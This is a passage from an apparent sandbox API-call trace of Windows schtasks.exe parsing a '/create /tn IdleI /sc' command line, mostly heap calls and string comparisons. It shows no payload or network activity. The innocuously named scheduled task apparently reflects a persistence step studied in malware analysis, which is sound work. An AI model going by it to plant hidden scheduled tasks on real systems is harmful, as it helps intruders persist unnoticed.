(hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd20) returned 1 [0134.707] GetProcessHeap () returned 0x2f0000 [0134.707] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd20) returned 0x20 [0134.708] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd20 | out: hHeap=0x2f0000) returned 1 [0134.708] GetProcessHeap () returned 0x2f0000 [0134.708] GetProcessHeap () returned 0x2f0000 [0134.708] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d530) returned 1 [0134.708] GetProcessHeap () returned 0x2f0000 [0134.708] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d530) returned 0x10 [0134.708] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d530 | out: hHeap=0x2f0000) returned 1 [0134.708] GetProcessHeap () returned 0x2f0000 [0134.708] GetProcessHeap () returned 0x2f0000 [0134.708] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd50) returned 1 [0134.708] GetProcessHeap () returned 0x2f0000 [0134.708] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd50) returned 0x20 [0134.709] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd50 | out: hHeap=0x2f0000) returned 1 [0134.709] GetProcessHeap () returned 0x2f0000 [0134.709] GetProcessHeap () returned 0x2f0000 [0134.709] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dd00) returned 1 [0134.709] GetProcessHeap () returned 0x2f0000 [0134.709] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30dd00) returned 0x6 [0134.709] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dd00 | out: hHeap=0x2f0000) returned 1 [0134.709] GetProcessHeap () returned 0x2f0000 [0134.709] GetProcessHeap () returned 0x2f0000 [0134.709] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd80) returned 1 [0134.709] GetProcessHeap () returned 0x2f0000 [0134.709] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd80) returned 0x20 [0134.709] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd80 | out: hHeap=0x2f0000) returned 1 [0134.709] GetProcessHeap () returned 0x2f0000 [0134.709] GetProcessHeap () returned 0x2f0000 [0134.709] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b960) returned 1 [0134.709] GetProcessHeap () returned 0x2f0000 [0134.709] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b960) returned 0x18 [0134.710] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b960 | out: hHeap=0x2f0000) returned 1 [0134.710] SetLastError (dwErrCode=0x0) [0134.710] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0134.710] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0134.710] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0134.710] VerifyVersionInfoW (in: lpVersionInformation=0x19c490, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19c490) returned 1 [0134.710] SetLastError (dwErrCode=0x0) [0134.710] lstrlenW (lpString="create") returned 6 [0134.710] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0134.710] SetLastError (dwErrCode=0x490) [0134.710] SetLastError (dwErrCode=0x0) [0134.710] lstrlenW (lpString="create") returned 6 [0134.710] GetProcessHeap () returned 0x2f0000 [0134.710] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd80 [0134.710] GetProcessHeap () returned 0x2f0000 [0134.710] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30d530 [0134.710] _memicmp (_Buf1=0x30d530, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.710] GetProcessHeap () returned 0x2f0000 [0134.710] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x16) returned 0x30d4b0 [0134.711] SetLastError (dwErrCode=0x0) [0134.711] _memicmp (_Buf1=0x30ba20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.711] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30bbc0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0134.711] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0134.711] GetProcessHeap () returned 0x2f0000 [0134.711] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x74e) returned 0x30dc60 [0134.712] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x30dc60 | out: lpData=0x30dc60) returned 1 [0134.712] VerQueryValueW (in: pBlock=0x30dc60, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19c578, puLen=0x19c5e0 | out: lplpBuffer=0x19c578*=0x30dffc, puLen=0x19c5e0) returned 1 [0134.712] _memicmp (_Buf1=0x30ba20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.712] _vsnwprintf (in: _Buffer=0x30bbc0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19c558 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0134.712] VerQueryValueW (in: pBlock=0x30dc60, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19c5e8, puLen=0x19c5d8 | out: lplpBuffer=0x19c5e8*=0x30de28, puLen=0x19c5d8) returned 1 [0134.712] lstrlenW (lpString="schtasks.exe") returned 12 [0134.712] lstrlenW (lpString="schtasks.exe") returned 12 [0134.712] lstrlenW (lpString=".EXE") returned 4 [0134.712] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0134.712] lstrlenW (lpString="schtasks.exe") returned 12 [0134.712] lstrlenW (lpString=".EXE") returned 4 [0134.712] lstrlenW (lpString="schtasks") returned 8 [0134.712] lstrlenW (lpString="/create") returned 7 [0134.712] _memicmp (_Buf1=0x30ba20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.712] _vsnwprintf (in: _Buffer=0x30bbc0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x19c558 | out: _Buffer="schtasks /create") returned 16 [0134.712] _memicmp (_Buf1=0x30ba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.712] GetProcessHeap () returned 0x2f0000 [0134.713] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd50 [0134.713] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.713] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0134.713] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0134.713] GetProcessHeap () returned 0x2f0000 [0134.713] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x30) returned 0x307aa0 [0134.713] _vsnwprintf (in: _Buffer=0x30bfc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19c558 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0134.713] GetProcessHeap () returned 0x2f0000 [0134.713] GetProcessHeap () returned 0x2f0000 [0134.713] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dc60) returned 1 [0134.713] GetProcessHeap () returned 0x2f0000 [0134.713] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30dc60) returned 0x74e [0134.713] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dc60 | out: hHeap=0x2f0000) returned 1 [0134.713] SetLastError (dwErrCode=0x0) [0134.713] GetThreadLocale () returned 0x409 [0134.714] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.714] lstrlenW (lpString="create") returned 6 [0134.714] GetThreadLocale () returned 0x409 [0134.714] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.723] lstrlenW (lpString="?") returned 1 [0134.723] GetThreadLocale () returned 0x409 [0134.723] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.723] lstrlenW (lpString="s") returned 1 [0134.723] GetThreadLocale () returned 0x409 [0134.723] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.723] lstrlenW (lpString="u") returned 1 [0134.723] GetThreadLocale () returned 0x409 [0134.723] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.723] lstrlenW (lpString="p") returned 1 [0134.723] GetThreadLocale () returned 0x409 [0134.723] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.723] lstrlenW (lpString="ru") returned 2 [0134.723] GetThreadLocale () returned 0x409 [0134.723] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.723] lstrlenW (lpString="rp") returned 2 [0134.724] GetThreadLocale () returned 0x409 [0134.724] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.724] lstrlenW (lpString="sc") returned 2 [0134.724] GetThreadLocale () returned 0x409 [0134.724] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.724] lstrlenW (lpString="mo") returned 2 [0134.724] GetThreadLocale () returned 0x409 [0134.724] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.724] lstrlenW (lpString="d") returned 1 [0134.724] GetThreadLocale () returned 0x409 [0134.724] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.724] lstrlenW (lpString="m") returned 1 [0134.724] GetThreadLocale () returned 0x409 [0134.724] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.724] lstrlenW (lpString="i") returned 1 [0134.724] GetThreadLocale () returned 0x409 [0134.724] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.724] lstrlenW (lpString="tn") returned 2 [0134.724] GetThreadLocale () returned 0x409 [0134.724] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.724] lstrlenW (lpString="tr") returned 2 [0134.724] GetThreadLocale () returned 0x409 [0134.724] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.724] lstrlenW (lpString="st") returned 2 [0134.724] GetThreadLocale () returned 0x409 [0134.733] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.745] lstrlenW (lpString="sd") returned 2 [0134.759] GetThreadLocale () returned 0x409 [0134.760] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.760] lstrlenW (lpString="ed") returned 2 [0134.760] GetThreadLocale () returned 0x409 [0134.760] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.760] lstrlenW (lpString="it") returned 2 [0134.761] GetThreadLocale () returned 0x409 [0134.761] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.761] lstrlenW (lpString="et") returned 2 [0134.761] GetThreadLocale () returned 0x409 [0134.761] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.761] lstrlenW (lpString="k") returned 1 [0134.761] GetThreadLocale () returned 0x409 [0134.761] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.761] lstrlenW (lpString="du") returned 2 [0134.761] GetThreadLocale () returned 0x409 [0134.761] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.761] lstrlenW (lpString="ri") returned 2 [0134.761] GetThreadLocale () returned 0x409 [0134.761] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.761] lstrlenW (lpString="z") returned 1 [0134.761] GetThreadLocale () returned 0x409 [0134.761] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.761] lstrlenW (lpString="f") returned 1 [0134.761] GetThreadLocale () returned 0x409 [0134.761] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.761] lstrlenW (lpString="v1") returned 2 [0134.761] GetThreadLocale () returned 0x409 [0134.761] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.761] lstrlenW (lpString="xml") returned 3 [0134.761] GetThreadLocale () returned 0x409 [0134.761] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.761] lstrlenW (lpString="ec") returned 2 [0134.761] GetThreadLocale () returned 0x409 [0134.761] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.761] lstrlenW (lpString="rl") returned 2 [0134.761] GetThreadLocale () returned 0x409 [0134.762] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.762] lstrlenW (lpString="delay") returned 5 [0134.762] GetThreadLocale () returned 0x409 [0134.762] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.762] lstrlenW (lpString="np") returned 2 [0134.762] SetLastError (dwErrCode=0x0) [0134.762] SetLastError (dwErrCode=0x0) [0134.762] lstrlenW (lpString="/create") returned 7 [0134.766] lstrlenW (lpString="-/") returned 2 [0134.766] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.773] lstrlenW (lpString="create") returned 6 [0134.775] lstrlenW (lpString="create") returned 6 [0134.775] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.775] lstrlenW (lpString="create") returned 6 [0134.775] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.775] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0134.775] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0134.775] lstrlenW (lpString="|create|") returned 8 [0134.775] lstrlenW (lpString="|create|") returned 8 [0134.775] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0134.775] SetLastError (dwErrCode=0x0) [0134.775] SetLastError (dwErrCode=0x0) [0134.775] SetLastError (dwErrCode=0x0) [0134.775] lstrlenW (lpString="/tn") returned 3 [0134.775] lstrlenW (lpString="-/") returned 2 [0134.775] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.775] lstrlenW (lpString="create") returned 6 [0134.775] lstrlenW (lpString="create") returned 6 [0134.775] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.775] lstrlenW (lpString="tn") returned 2 [0134.775] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.775] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0134.775] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.775] lstrlenW (lpString="|create|") returned 8 [0134.775] lstrlenW (lpString="|tn|") returned 4 [0134.775] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0134.775] SetLastError (dwErrCode=0x490) [0134.775] lstrlenW (lpString="?") returned 1 [0134.775] lstrlenW (lpString="?") returned 1 [0134.776] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.776] lstrlenW (lpString="tn") returned 2 [0134.776] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.776] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|?|") returned 3 [0134.776] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.776] lstrlenW (lpString="|?|") returned 3 [0134.776] lstrlenW (lpString="|tn|") returned 4 [0134.776] SetLastError (dwErrCode=0x490) [0134.818] lstrlenW (lpString="s") returned 1 [0134.818] lstrlenW (lpString="s") returned 1 [0134.818] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.818] lstrlenW (lpString="tn") returned 2 [0134.818] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.818] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|s|") returned 3 [0134.818] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.818] lstrlenW (lpString="|s|") returned 3 [0134.818] lstrlenW (lpString="|tn|") returned 4 [0134.818] SetLastError (dwErrCode=0x490) [0134.819] lstrlenW (lpString="u") returned 1 [0134.819] lstrlenW (lpString="u") returned 1 [0134.819] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.820] lstrlenW (lpString="tn") returned 2 [0134.820] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.820] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|u|") returned 3 [0134.820] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.820] lstrlenW (lpString="|u|") returned 3 [0134.820] lstrlenW (lpString="|tn|") returned 4 [0134.820] SetLastError (dwErrCode=0x490) [0134.820] lstrlenW (lpString="p") returned 1 [0134.820] lstrlenW (lpString="p") returned 1 [0134.820] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.820] lstrlenW (lpString="tn") returned 2 [0134.820] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.820] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|p|") returned 3 [0134.820] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.820] lstrlenW (lpString="|p|") returned 3 [0134.821] lstrlenW (lpString="|tn|") returned 4 [0134.821] SetLastError (dwErrCode=0x490) [0134.821] lstrlenW (lpString="ru") returned 2 [0134.821] lstrlenW (lpString="ru") returned 2 [0134.821] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.821] lstrlenW (lpString="tn") returned 2 [0134.821] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.821] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ru|") returned 4 [0134.821] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.821] lstrlenW (lpString="|ru|") returned 4 [0134.821] lstrlenW (lpString="|tn|") returned 4 [0134.821] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0134.821] SetLastError (dwErrCode=0x490) [0134.821] lstrlenW (lpString="rp") returned 2 [0134.821] lstrlenW (lpString="rp") returned 2 [0134.821] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.821] lstrlenW (lpString="tn") returned 2 [0134.821] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.821] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rp|") returned 4 [0134.821] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.821] lstrlenW (lpString="|rp|") returned 4 [0134.821] lstrlenW (lpString="|tn|") returned 4 [0134.821] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0134.821] SetLastError (dwErrCode=0x490) [0134.821] lstrlenW (lpString="sc") returned 2 [0134.822] lstrlenW (lpString="sc") returned 2 [0134.822] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.822] lstrlenW (lpString="tn") returned 2 [0134.822] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.822] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0134.822] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.822] lstrlenW (lpString="|sc|") returned 4 [0134.822] lstrlenW (lpString="|tn|") returned 4 [0134.822] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0134.822] SetLastError (dwErrCode=0x490) [0134.822] lstrlenW (lpString="mo") returned 2 [0134.822] lstrlenW (lpString="mo") returned 2 [0134.822] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.822] lstrlenW (lpString="tn") returned 2 [0134.822] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.822] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0134.822] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.822] lstrlenW (lpString="|mo|") returned 4 [0134.822] lstrlenW (lpString="|tn|") returned 4 [0134.822] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0134.822] SetLastError (dwErrCode=0x490) [0134.822] lstrlenW (lpString="d") returned 1 [0134.822] lstrlenW (lpString="d") returned 1 [0134.822] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.822] lstrlenW (lpString="tn") returned 2 [0134.823] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.823] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|d|") returned 3 [0134.823] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.823] lstrlenW (lpString="|d|") returned 3 [0134.823] lstrlenW (lpString="|tn|") returned 4 [0134.823] SetLastError (dwErrCode=0x490) [0134.823] lstrlenW (lpString="m") returned 1 [0134.823] lstrlenW (lpString="m") returned 1 [0134.823] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.823] lstrlenW (lpString="tn") returned 2 [0134.823] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.823] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|m|") returned 3 [0134.823] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.823] lstrlenW (lpString="|m|") returned 3 [0134.823] lstrlenW (lpString="|tn|") returned 4 [0134.823] SetLastError (dwErrCode=0x490) [0134.823] lstrlenW (lpString="i") returned 1 [0134.823] lstrlenW (lpString="i") returned 1 [0134.823] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.823] lstrlenW (lpString="tn") returned 2 [0134.823] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.823] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|i|") returned 3 [0134.823] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.824] lstrlenW (lpString="|i|") returned 3 [0134.824] lstrlenW (lpString="|tn|") returned 4 [0134.824] SetLastError (dwErrCode=0x490) [0134.824] lstrlenW (lpString="tn") returned 2 [0134.824] lstrlenW (lpString="tn") returned 2 [0134.824] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.824] lstrlenW (lpString="tn") returned 2 [0134.824] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.824] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.824] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.824] lstrlenW (lpString="|tn|") returned 4 [0134.824] lstrlenW (lpString="|tn|") returned 4 [0134.824] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0134.824] SetLastError (dwErrCode=0x0) [0134.824] SetLastError (dwErrCode=0x0) [0134.824] lstrlenW (lpString="IdleI") returned 5 [0134.824] lstrlenW (lpString="-/") returned 2 [0134.824] StrChrIW (lpStart="-/", wMatch=0x49) returned 0x0 [0134.824] SetLastError (dwErrCode=0x490) [0134.824] SetLastError (dwErrCode=0x490) [0134.824] SetLastError (dwErrCode=0x0) [0134.824] lstrlenW (lpString="IdleI") returned 5 [0134.824] StrChrIW (lpStart="IdleI", wMatch=0x3a) returned 0x0 [0134.824] SetLastError (dwErrCode=0x490) [0134.824] SetLastError (dwErrCode=0x0) [0134.824] lstrlenW (lpString="IdleI") returned 5 [0134.824] SetLastError (dwErrCode=0x0) [0134.825] SetLastError (dwErrCode=0x0) [0134.825] lstrlenW (lpString="/sc") returned 3 [0134.825] lstrlenW (lpString="-/") returned 2 [0134.825] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.825] lstrlenW (lpString="create") returned 6 [0134.825] lstrlenW (lpString="create") returned 6 [0134.825] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.825] lstrlenW (lpString="sc") returned 2 [0134.825] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.825] 